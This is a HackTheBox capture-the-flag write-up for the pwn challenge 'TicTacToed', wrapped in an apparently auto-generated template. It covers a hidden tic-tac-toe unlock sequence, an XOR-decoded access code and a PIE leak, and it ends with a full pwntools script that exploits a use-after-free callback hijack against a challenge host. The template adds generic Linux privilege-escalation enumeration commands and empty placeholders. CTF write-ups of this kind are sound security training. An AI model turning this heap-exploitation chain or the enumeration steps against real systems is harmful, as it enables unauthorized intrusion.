← Back to Writeups
HTBN/APwn

TicTacToed

XESXOR8/23/20266 min read
#pwn#htb#n/a

TicTacToed

Platform: HackTheBox | Category: Pwn | Type: Challenge | Difficulty: Medium | OS: NA | Author: D3v0o0Nu11 | Date: 2026-04-02 | Status: Solved Techniques: hidden_pattern_unlock, pie_leak_via_function_pointer, tcache_reuse, use_after_free_callback_hijack

Summary

Task: a Rust game binary hid a second-stage C2 interface behind a specific 5x5 tic-tac-toe pattern and access code. Solution: re-download the latest archive, recover the correct embedded ELF offsets, leak PIE with the H option, then use a use-after-free to overwrite a callback with getSecret and print the real remote flag.

Recon

Port scan

nmap -p- -sV -sC <TARGET> --min-rate 1000 -Pn
PortServiceVersionNotes
<PORT><SVC><VER><notes>

Enumeration highlights

  • Event: hackthebox | ID: 20260402_hackthebox_tictactoed
  • Tags: pie, use_after_free, function_pointer, tcache, pwn, rust, hidden_interface, binary_extraction
  • Indicators: 5x5 tic-tac-toe gate with a hidden recognition string, secondary embedded ELF inside the outer binary, menu option prints a code pointer with %p, freeing an object without clearing the global pointer, small malloc reuses the freed callback-bearing chunk
  • Source: 20260402_hackthebox_tictactoed.md

Foothold

Vulnerability / Misconfiguration

  1. Hidden_pattern_unlock
  2. Pie_leak_via_function_pointer
  3. Tcache_reuse
  4. Use_after_free_callback_hijack
<command>

Exploitation

  • See original writeup content for detailed exploitation.

Privilege Escalation

Enumeration

sudo -l
find / -perm -4000 2>/dev/null
getcap -r / 2>/dev/null
cat /etc/crontab
ps aux

Exploitation

  1. N/A for challenge-type writeup; see exploitation above.
  2. Flag obtained via challenge solve.
<command>

Flags

FlagLocationValue
flagREDACTED

Key Takeaways / Lessons

  • hidden_pattern_unlock
  • pie_leak_via_function_pointer
  • tcache_reuse
  • use_after_free_callback_hijack
  • Tags: pie, use_after_free, function_pointer, tcache, pwn, rust, hidden_interface, binary_extraction

Original Writeup

<details><summary>Click to expand original content</summary>

Description

Original HackTheBox task text was not preserved in the local solve notes.

The challenge presented a 5x5 tic-tac-toe game, but the real target was a hidden second-stage interface unlocked only after entering a very specific move sequence and a decrypted access code. The final exploit was a PIE leak plus a use-after-free callback overwrite in the embedded C2 binary.

Analysis

The outer program was a Rust ELF that first exposed a tic-tac-toe board. Winning normally was not enough: the binary compared the played moves against a hidden pattern string:

X:00O:04X:11O:13X:22O:31X:33O:40X:44

That corresponds to the exact input sequence:

  1. 0 0
  2. 0 4
  3. 1 1
  4. 1 3
  5. 2 2
  6. 3 1
  7. 3 3
  8. 4 0
  9. 4 4

Geometrically, X fills the main diagonal and O fills the anti-diagonal except the center cell, which is already occupied by X. Once this sequence is entered, the program prints that the hidden interface is unlocked.

The next gate was the access code. The challenge stored encrypted fragments in the outer binary; decrypting them with XOR key 0x5a yielded:

D3f1n3tlya71c74c703gam3

After the unlock, the program launched a hidden embedded C2 binary extracted from the outer file at offset 0x7d63a with size 0x4468.

An important correction was necessary before exploitation worked remotely: earlier attempts used offsets from an outdated binary version. The issue was resolved by re-downloading the latest challenge archive and updating all offsets to match the embedded C2 actually shipped by the live service.

The corrected symbols for the latest C2 were:

  • getSecret = 0x1259
  • executeAction = 0x13e0
  • generateUserID = 0x13fd
  • printID = 0x14b8
  • Hackupdate = 0x151f
  • exitProgram = 0x155d

Root Cause

The exploitable bug was a classic use-after-free on an object containing a function pointer.

The hidden C2 kept a heap-allocated agent object whose first field was a callback used by executeAction(agent). Option E with confirmation Y freed this object through exitProgram, but the global agent pointer was left unchanged. The program then returned to the main loop and continued to use the stale pointer.

Later, option F (Hackupdate) performed malloc(8) and then read(0, buf, 8). Because the freed agent chunk was a small tcache entry, this allocation reused the same chunk. Writing 8 bytes into the new allocation therefore overwrote the stale agent->func callback. When the loop subsequently called executeAction(agent), control flow jumped to the attacker-supplied address.

This became reliable because option H changed the callback to printID, and printID disclosed the runtime address of generateUserID using:

printf("User ID: %p\n", generateUserID);

That leak gave an immediate PIE calculation:

  • PIE base = leak - 0x13fd
  • getSecret = PIE base + 0x1259
  • equivalently, getSecret = leak - 0x1a4

Exploitation Steps

The working remote chain was:

  1. Play the hidden tic-tac-toe sequence to satisfy the exact pattern matcher.
  2. Enter username and access code D3f1n3tlya71c74c703gam3.
  3. Reach the hidden C2 menu.
  4. Send H so the callback becomes printID.
  5. Parse the leaked generateUserID address from User ID: 0x....
  6. Compute getSecret = leak - 0x1a4.
  7. Send E, then confirm with Y, to free the agent object without nulling the global pointer.
  8. Send F; its malloc(8) reuses the freed tcache chunk.
  9. Write p64(leak - 0x1a4) as the 8-byte payload.
  10. Let the main loop invoke executeAction(agent), which now jumps into getSecret and prints the flag.

The final payload for option F was therefore:

p64(leak - 0x1a4)

Example successful remote values from the corrected live instance:

  • Host: 154.57.164.75
  • Port: 32718
  • Leak: 0x5573a5ef43fd
  • PIE base: 0x5573a5ef3000
  • getSecret: 0x5573a5ef4259

The flag output appeared after a leading space/newline, so the receive logic needed to search the full returned buffer instead of assuming a clean line start.

One confusing detail during analysis was a fake local flag present in the archive:

HTB{f4k3_fl4g_f0r_t3st1ng}

That was only a test artifact. The real remote flag was different and was recovered only after re-downloading the latest challenge archive, fixing the stale offsets, and rerunning the exploit against the updated service.

Solution

#!/usr/bin/env python3
from pwn import *
import re

context.arch = "amd64"

HOST = "154.57.164.75"
PORT = 32718

MOVES = [
    b"0 0", b"0 4", b"1 1", b"1 3", b"2 2",
    b"3 1", b"3 3", b"4 0", b"4 4",
]

ACCESS_CODE = b"D3f1n3tlya71c74c703gam3"
DELTA_GETSECRET_FROM_LEAK = 0x1A4


def main():
    io = remote(HOST, PORT)

    for move in MOVES:
        io.recvuntil(b"(0-4): ")
        io.sendline(move)

    io.recvuntil(b"Enter Username: ")
    io.sendline(b"admin")
    io.recvuntil(b"Enter Access Code: ")
    io.sendline(ACCESS_CODE)
    io.recvuntil(b"> ")

    io.sendline(b"H")
    data = io.recvuntil(b"> ")
    m = re.search(rb"User ID: (0x[0-9a-fA-F]+)", data)
    if not m:
        raise RuntimeError(f"leak not found: {data!r}")

    leak = int(m.group(1), 16)
    get_secret = leak - DELTA_GETSECRET_FROM_LEAK
    log.info(f"leak        = {hex(leak)}")
    log.info(f"pie_base    = {hex(leak - 0x13fd)}")
    log.info(f"getSecret   = {hex(get_secret)}")

    io.sendline(b"E")
    io.recvuntil(b"(Y/N)?")
    io.sendline(b"Y")
    io.recvuntil(b"> ")

    io.sendline(b"F")
    io.recvuntil(b"hack go?")
    io.send(p64(get_secret))

    data = io.recvrepeat(1)
    m = re.search(rb"HTB\{[^}]+\}", data)
    if not m:
        raise RuntimeError(f"flag not found in: {data!r}")

    print(m.group().decode())


if __name__ == "__main__":
    main()
</details>

Auto-tracked: saved to WriteUps; run /xesor-revise to fold lessons into XESXor_Methodology.md.

signed by XESXOR